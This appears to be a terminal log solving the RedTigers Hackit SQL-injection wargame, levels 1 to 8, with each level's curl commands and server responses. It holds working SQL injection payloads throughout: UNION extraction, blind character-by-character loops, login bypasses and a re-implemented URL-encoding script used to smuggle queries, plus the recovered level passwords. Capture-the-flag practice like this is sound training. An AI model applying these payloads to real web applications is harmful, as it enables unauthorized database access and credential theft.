# curl --silent --insecure --cookie level8 --request POST --data "user=Admin&password=7468656d65616e696e676f666c6966653432&login=Login" https://redtiger.dyndns.org/hackit/level8.php | grep is:
<br>The password for the next level is: <b>736c61705f7468655f6c616d65727a</b> <br><br>

# RedTigers Hackit wargame: Level 7

# curl --silent --insecure --cookie-jar level7 --cookie level7 --request POST --data "password=646f6e745f73686f75745f61745f796f75725f6469736b73&level7login=Login" https://redtiger.dyndns.org/hackit/level7.php
                <b>Welcome to Level 7</b><br><br>
                Target: Get the name of the user who posted the news about google. Table: level7_news column: autor<br>
                Restrictions: no comments, no substr, no substring, no ascii, no mid, no like<br>
                <br><br><br> <form method="post"> <input type="text" name="search" value=""> <input type="submit" value="search!" name="dosearch"> </form> <br><br><br>
                                <br>
                        <form method="post">
                                Username: <input type="text" name="username"><br>
                                <input type="submit" name="try" value="Check!">
                        </form>
                        <br>
# for i in `seq 1 17`; do for j in `echo {A..Z} {a..z} {0..9}`; do d=`printf "%d\n" \'$j`; search="Google%' and ord(left(right(news.autor,$[18-$i]),1))=$d and '%'='"; result=`curl --silent --insecure --cookie level7 --request POST --data "search=$search&dosearch=search\!" https://redtiger.dyndns.org/hackit/level7.php | grep -v "<input" | grep Google`; if [ "$result" != "" ]; then echo -n "$j"; break; fi; done; done; echo
5465737455736572666f72673030676c65
# curl --silent --insecure --cookie level7 --request POST --data "username=5465737455736572666f72673030676c65&try=Check\!" https://redtiger.dyndns.org/hackit/level7.php | grep is:
<br>The password for the next level is: <b>4d4f4f636f774d454f57636174</b> <br><br>

# RedTigers Hackit wargame: Level 6

# curl --silent --insecure --cookie-jar level6 --cookie level6 --request POST --data "password=6d795f6361745f736179735f6d656f776d656f77&level6login=Login" https://redtiger.dyndns.org/hackit/level6.php
                <b>Welcome to Level 6</b><br><br>
                Target: Get the first user in table level6_users with status 1<br>
                <br><br><br> <a href="?user=1">Click me</a><br><br><br>
                                <table style="border-collapse:collapse; border:1px solid black;">
                                <tr>
                                        <td>Username: </td>
                                        <td>deddlef</td>
                                </tr>
                                <tr>
                                        <td>Email: </td>
                                        <td>dumbi@damibi.de</td>
                                </tr>
                        </table>

                                        <br>
                        <form method="post">
                                Username: <input type="text" name="user"><br>
                                Password: <input type="text" name="password">
                                <input type="submit" name="login" value="Login">
                        </form>
                        <br>
# for i in `seq 1 30`; do echo $i; result=`curl --silent --insecure --cookie level6 "https://redtiger.dyndns.org/hackit/level6.php?user=0%20or%20if((select%20length(password)%20from%20level6_users%20where%20id=3)=$i,true,false)" | grep deddlef`; if [ "$result" != "" ]; then break; fi; done
1
2
3
4
5
6
7
8
9
10
11
# for i in `seq 1 11`; do for j in `echo {a..z} {0..9}`; do d=` printf "%d\n" \'$j`; result=`curl --silent --insecure --cookie level6 "https://redtiger.dyndns.org/hackit/level6.php?user=0%20or%20if((select%20ord(left(right(password,$[12-$i]),1))%20from%20level6_users%20where%20id=3)=$d,true,false)" | grep deddlef`; if [ "$result" != "" ]; then echo -n "$j"; break; fi; done; done; echo
6d306e737465726b316c6c
# query2="`echo -n "' union select id,username,email,password,status from level6_users where status=1 limit 1 -- " | xxd -p | tr -d '\n'`"
# query1="`echo -n \"0 union select 1,0x$query2,3,4,5\" | sed 's/ /%20/g'`"
# curl --silent --insecure --cookie level6 "https://redtiger.dyndns.org/hackit/level6.php?user=$query1" | grep -A 1 -e ">Username" -e Email
                                        <td>Username: </td>
                                        <td>admin</td>
--
                                        <td>Email: </td>
                                        <td>6d306e737465726b316c6c</td>
# curl --silent --insecure --cookie level6 --request POST --data "user=admin&password=6d306e737465726b316c6c&login=Login" https://redtiger.dyndns.org/hackit/level6.php | grep is:
<br>The password for the next level is: <b>646f6e745f73686f75745f61745f796f75725f6469736b73</b> <br><br>

# RedTigers Hackit wargame: Level 5

# curl --silent --insecure --cookie-jar level5 --cookie level5 --request POST --data "password=62616e616e61735f6172655f6e6f745f626c7565&level5login=Login" https://redtiger.dyndns.org/hackit/level5.php
                <b>Welcome to Level 5</b><br><br>
                Target: Bypass the login<br>
                Disabled: substring , substr, ( , ), mid<br>
                Hints: its not a blind, the password is md5-crypted, watch the login errors<br><br><br>

                        <form name="login" action="?mode=login" method="POST">
                                Username: <input name="username" size="30" type="text"><br>
                                Password: <input name="password" size="30" type="text">
                                <br>
                                <input name="login" value="Login" type="submit">
                        </form>
# password="whatever"
# echo -n $password | md5sum
008c5926ca861023c1d2a36653fd88e2  -
# username="' union select 'user','008c5926ca861023c1d2a36653fd88e2"
# curl --silent --insecure --cookie level5 --request POST --data "username=$username&password=$password&login=Login" https://redtiger.dyndns.org/hackit/level5.php?mode=login | grep is:
<br>The password for the next level is: <b>6d795f6361745f736179735f6d656f776d656f77</b> <br><br>

# RedTigers Hackit wargame: Level 4

# curl --silent --insecure --cookie-jar level4 --cookie level4 --request POST --data "password=646f6e745f7075626c6973685f736f6c7574696f6e735f41524748&level4login=Login" https://redtiger.dyndns.org/hackit/level4.php
                <b>Welcome to Level 4</b><br><br>
                Target: Get the value of the first entry in table level4_secret in column keyword<br>
                Disabled: like<br><br><br> <a href="?id=1">Click me</a><br><br><br>
        Query returned 1 rows. <br /><br />                     <br><br><br>
                        <form method="post">
                                Word: <input type="text" name="secretword"><br>
                                <input type="submit" name="go" value="Go!">
                        </form>
                        <br>
# for i in `seq 1 50`; do echo $i; result=`curl --silent --insecure --cookie level4 "https://redtiger.dyndns.org/hackit/level4.php?id=1%20and%20if((select%20length(keyword)%20from%20level4_secret)=$i,1,0)" | grep Query | awk '{print $3}'`; if [ "$result" == "1" ]; then break; fi; done
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# for i in `seq 1 17`; do for j in `echo {a..z} {0..9}`; do result=`curl --silent --insecure --cookie level4 "https://redtiger.dyndns.org/hackit/level4.php?id=1%20and%20if((select%20substring(keyword,$i,1)%20from%20level4_secret)='$j',1,0)" | grep Query | awk '{print $3}'`; if [ "$result" == "1" ]; then echo -n "$j"; break; fi; done; done; echo
626c696e64696e6a656374696f6e313233
# curl --silent --insecure --cookie-jar level4 --cookie level4 --request POST --data 'secretword=626c696e64696e6a656374696f6e313233&go=Go!' https://redtiger.dyndns.org/hackit/level4.php | grep is:
<br>The password for the next level is: <b>62616e616e61735f6172655f6e6f745f626c7565</b> <br><br>

# RedTigers Hackit wargame: Level 3

# curl --silent --insecure --cookie-jar level3 --cookie level3 --request POST --data "password=73656375726974796d656f775f736179735f636174&level3login=Login" https://redtiger.dyndns.org/hackit/level3.php
                <b>Welcome to Level 3</b><br> <br>
                Target: Get the password of the user Admin.<br>
                Hint: Try to get an error. Tablename: level3_users<br><br><br>

        Show userdetails: <br><a href="?usr=MTQ4MTY4MTY1MTMxMTc1MTgz">TheCow</a><br><a href="?usr=MTI5MTY0MTczMTY5MTc0">Admin</a><br>                   <br><br><br>
                        <form method="post">
                                Username: <input type="text" name="user"><br>
                                Password: <input type="text" name="password">
                                <input type="submit" name="login" value="Login">
                        </form>
                        <br>
# curl --silent --insecure --cookie level3 "https://redtiger.dyndns.org/hackit/level3.php?usr\[\]=" | grep Warning
Warning: preg_match() expects parameter 2 to be string, array given in /var/www/hackit/urlcrypt.inc on line 21
# curl --silent --insecure --output urlcrypt.inc https://redtiger.dyndns.org/hackit/urlcrypt.inc
# cat myurlcrypt.inc
#!/usr/bin/php
<?php
 function encrypt($str) {
  $cryptedstr = "";
  for ($i =0; $i < strlen($str); $i++){
   $temp = ord(substr($str,$i,1)) ^ 192;
   while(strlen($temp)<3){
    $temp = "0".$temp;
   }
   $cryptedstr .= $temp. "";
  }
  return base64_encode($cryptedstr);
 }
 echo encrypt($argv[1])."\n";
?>
# ./myurlcrypt.inc "' union select 1,2,3,4,5,6,7 -- "
MjMxMjI0MTgxMTc0MTY5MTc1MTc0MjI0MTc5MTY1MTcyMTY1MTYzMTgwMjI0MjQxMjM2MjQyMjM2MjQzMjM2MjQ0MjM2MjQ1MjM2MjQ2MjM2MjQ3MjI0MjM3MjM3MjI0
# curl --silent --insecure --cookie level3 https://redtiger.dyndns.org/hackit/level3.php?usr=MjMxMjI0MTgxMTc0MTY5MTc1MTc0MjI0MTc5MTY1MTcyMTY1MTYzMTgwMjI0MjQxMjM2MjQyMjM2MjQzMjM2MjQ0MjM2MjQ1MjM2MjQ2MjM2MjQ3MjI0MjM3MjM3MjI0
                <b>Welcome to Level 3</b><br> <br>
                Target: Get the password of the user Admin.<br>
                Hint: Try to get an error. Tablename: level3_users<br><br><br>

        Show userdetails: <br>                          <table style="border-collapse:collapse; border:1px solid black;">
                                        <tr>
                                                <td>Username: </td>
                                                <td>2</td>
                                        </tr>
                                        <tr>
                                                <td>First name: </td>
                                                <td>6</td>
                                        </tr>
                                        <tr>
                                                <td>Name: </td>
                                                <td>7</td>
                                        </tr>
                                        <tr>
                                                <td>ICQ: </td>
                                                <td>5</td>
                                        </tr>
                                        <tr>
                                                <td>Email: </td>
                                                <td>4</td>
                                        </tr>
                                </table>

                                                <br><br><br>
                        <form method="post">
                                Username: <input type="text" name="user"><br>
                                Password: <input type="text" name="password">
                                <input type="submit" name="login" value="Login">
                        </form>
                        <br>
# ./myurlcrypt.inc "' union select 1,2,3,password,username,6,7 from level3_users where username='Admin' -- "
MjMxMjI0MTgxMTc0MTY5MTc1MTc0MjI0MTc5MTY1MTcyMTY1MTYzMTgwMjI0MjQxMjM2MjQyMjM2MjQzMjM2MTc2MTYxMTc5MTc5MTgzMTc1MTc4MTY0MjM2MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjM2MjQ2MjM2MjQ3MjI0MTY2MTc4MTc1MTczMjI0MTcyMTY1MTgyMTY1MTcyMjQzMTU5MTgxMTc5MTY1MTc4MTc5MjI0MTgzMTY4MTY1MTc4MTY1MjI0MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjUzMjMxMTI5MTY0MTczMTY5MTc0MjMxMjI0MjM3MjM3MjI0
# curl --silent --insecure --cookie level3 https://redtiger.dyndns.org/hackit/level3.php?usr=MjMxMjI0MTgxMTc0MTY5MTc1MTc0MjI0MTc5MTY1MTcyMTY1MTYzMTgwMjI0MjQxMjM2MjQyMjM2MjQzMjM2MTc2MTYxMTc5MTc5MTgzMTc1MTc4MTY0MjM2MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjM2MjQ2MjM2MjQ3MjI0MTY2MTc4MTc1MTczMjI0MTcyMTY1MTgyMTY1MTcyMjQzMTU5MTgxMTc5MTY1MTc4MTc5MjI0MTgzMTY4MTY1MTc4MTY1MjI0MTgxMTc5MTY1MTc4MTc0MTYxMTczMTY1MjUzMjMxMTI5MTY0MTczMTY5MTc0MjMxMjI0MjM3MjM3MjI0 | grep -A 1 -e ICQ -e Email
                                                <td>ICQ: </td>
                                                <td>Admin</td>
--
                                                <td>Email: </td>
                                                <td>746869736973617665727973656375726570617373776f7264454545357274</td>
# curl --silent --insecure --cookie level3 --request POST --data "user=Admin&password=746869736973617665727973656375726570617373776f7264454545357274&login=Login" https://redtiger.dyndns.org/hackit/level3.php | grep is:
<br>The password for the next level is: <b>646f6e745f7075626c6973685f736f6c7574696f6e735f41524748</b> <br><br>

# RedTigers Hackit wargame: Level 2

# curl --silent --insecure --cookie-jar level2 --cookie level2 --request POST --data "password=656173796c6576656c7361726565617379&level2login=Login" https://redtiger.dyndns.org/hackit/level2.php
<b>Welcome to level 2</b>
<br><br>
A simple loginbypass
<br><br>
Target: Login
<br>
Hint: Condition
<br><br><br>

<form method="POST">
        Username: <input type="text" name="username"><br>
        Password: <input type="password" name="password"><br>
        <input type="submit" name="login" value="Login">
</form>
# curl --silent --insecure --cookie level2 --request POST --data "username=' or 'u'='u&password=' or 'p'='p&login=Login" https://redtiger.dyndns.org/hackit/level2.php | grep is:
<br>The password for the next level is: <b>73656375726974796d656f775f736179735f636174</b> <br><br>

# RedTigers Hackit wargame: Level 1

# curl --silent --insecure https://redtiger.dyndns.org/hackit/level1.php
<b>Welcome to level 1</b>
<br><br>
Lets start with a simple injection.
<br><br>
Target: Get the login for the user Hornoxe
<br>
Hint: You really need one? omg -_-
<br>
Tablename: level1_users
<br><br><br>


<br>Category: <a href="?cat=1">1</a><br><br>This category does not exist! <br>                  <br><br><br>
                        <form method="post">
                                Username: <input type="text" name="user"><br>
                                Password: <input type="text" name="password">
                                <input type="submit" name="login" value="Login">
                        </form>
                        <br>
# curl --silent --insecure "https://redtiger.dyndns.org/hackit/level1.php?cat=1%20union%20select%201,2,username,password%20from%20level1_users" | grep ">Hornoxe" | awk -F "<br>" '{print $4}'
7468617477617365617379
# curl --silent --insecure --request POST --data "user=Hornoxe&password=7468617477617365617379&login=Login" https://redtiger.dyndns.org/hackit/level1.php | grep is:
<br>The password for the next level is: <b>656173796c6576656c7361726565617379</b> <br><br>